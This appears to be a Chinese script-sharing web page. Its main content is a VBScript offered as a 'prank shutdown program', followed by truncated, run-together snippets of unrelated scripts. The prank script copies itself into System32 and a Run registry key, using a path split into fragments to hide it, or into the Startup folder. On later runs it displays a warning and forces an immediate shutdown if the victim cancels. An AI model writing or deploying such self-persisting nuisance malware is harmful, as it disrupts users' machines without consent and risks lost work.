vb下的恶搞关机程序
额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。
Dim fs, dirwin, c,Wll, str,strr,r Set fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1) Set Wll = WScript.CreateObject("WScript.Shell") Set c = fs.GetFile(WScript.ScriptFullName) str ="HK"&"LMSOFT"&"WAREMicr"&"osoftWin"&"dowsCurren"&"tVersionR"&"unwxb" if (fs.FileExists(dirwin&"wxb.vbs")) Then call Show_And_Do("reg") elseif (fs.FileExists("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs")) Then call Show_And_Do("Startup") else On Error Resume Next strr="" Wll.RegWrite str, "C:WINDOWSsystem32wxb.vbs", "REG_SZ" strr=Wll.Regread (str) if strr="" then c.Copy("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs") else c.Copy(dirwin&"wxb.vbs") end if end if sub Show_And_Do(s) dim f r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example") If r = 1 Then if s="Startup" then set f = fs.GetFile("C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs") f.Delete() elseif s="reg" then Wll.RegDelete str set f = fs.GetFile(dirwin&"wxb.vbs") f.Delete() end if Else wll.run "Shutdown.exe -s -f -t 0" End If end sub
好了,代码分享给大家了,不要随便拿去搞破坏!
vbs脚本实现修改DNS和清空IE临时文件功能
今早接到山青院电话,说需要一个修改DNS为校内DNS,并且清空IE临时文件的脚本,想都没想,用批处理写了一个:remprogramedbyKaisir@echooffecho本脚本的作用
通过vbs获取远程host文件并保存到指定目录
Subdownload(url,target)ConstadTypeBinary=1ConstadTypeText=2ConstadSaveCreateOverWrite=2Dimhttp,adoSethttp=CreateObject("Msxml2.ServerXMLHTTP")http.SetOption2,13056http.open"GET",url,Falsehttp.sendSeta
vbs实现unicode和ascii编码转换
一、CopyaUnicodeFiletoanANSIFileWiToAnsi.vbs文件:'UtilitytorewriteaUnicodetextfileasanANSItextfile'ForusewithWindowsScriptingHost,CScript.exeorWScript.exe'Copyright(c)1999,MicrosoftCorporation'O